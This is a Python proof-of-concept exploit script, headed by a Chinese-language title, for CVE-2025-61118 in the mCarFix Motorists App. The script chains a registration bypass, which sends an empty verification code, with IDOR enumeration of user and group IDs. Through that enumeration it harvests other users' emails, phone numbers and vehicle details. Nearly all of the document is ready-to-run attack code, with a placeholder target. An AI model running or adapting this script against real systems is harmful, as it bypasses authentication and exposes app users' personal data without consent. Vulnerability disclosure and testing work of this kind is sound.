CVE-2025-61118 mCarFix Motorists App 账户注册绕过与越权访问漏洞

# CVE-2025-61118 PoC - mCarFix Motorists App Access Control Bypass # Author: Security Researcher # Description: Exploits improper access control in mCarFix Motorists App v2.3 import requests import json TARGET_HOST = "http://target-app.com" # Replace with actual target def exploit_registration_bypass(): """ Step 1: Bypass registration verification to create arbitrary accounts """ print("[+] Step 1: Exploiting registration bypass...") # Original registration request (intercepted) registration_endpoint = f"{TARGET_HOST}/api/v1/user/register" # Payload to bypass verification payload = { "username": "attacker_account", "email": "[email protected]", "password": "Password123!", "verification_code": "", # Bypass by removing/emptying verification "phone": "+1234567890" } headers = { "Content-Type": "application/json", "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 11)" } try: response = requests.post(registration_endpoint, json=payload, headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Account created successfully: {data}") return data.get("user_id") else: print(f"[-] Registration failed: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None def exploit_idor_access(start_id, end_id): """ Step 2: Exploit IDOR by tampering sequential numeric IDs to access user data """ print(f"[+] Step 2: Exploiting IDOR vulnerability (ID range: {start_id}-{end_id})...") user_data_endpoint = f"{TARGET_HOST}/api/v1/user/profile" for user_id in range(start_id, end_id + 1): try: # Tamper with user_id parameter params = {"user_id": user_id} response = requests.get(user_data_endpoint, params=params) if response.status_code == 200: data = response.json() print(f"[+] Found user data - ID {user_id}: {json.dumps(data, indent=2)}") # Extract sensitive information if "email" in data: print(f" Email: {data['email']}") if "phone" in data: print(f" Phone: {data['phone']}") if "vehicle_info" in data: print(f" Vehicle: {data['vehicle_info']}") except Exception as e: print(f"[-] Error accessing ID {user_id}: {e}") def exploit_group_access(): """ Step 3: Access unauthorized group data via IDOR """ print("[+] Step 3: Exploiting group IDOR vulnerability...") group_endpoint = f"{TARGET_HOST}/api/v1/group/info" for group_id in range(1, 100): try: params = {"group_id": group_id} response = requests.get(group_endpoint, params=params) if response.status_code == 200: data = response.json() print(f"[+] Found group - ID {group_id}: {data.get('name', 'Unknown')}") print(f" Members: {data.get('member_count', 0)}") except Exception as e: continue if __name__ == "__main__": print("="*60) print("CVE-2025-61118 PoC - mCarFix Motorists App Exploitation") print("="*60) # Execute attack chain user_id = exploit_registration_bypass() if user_id: # Access other users' data exploit_idor_access(1, 50) # Access group information exploit_group_access() print("\n[!] PoC execution completed. Target may be compromised.")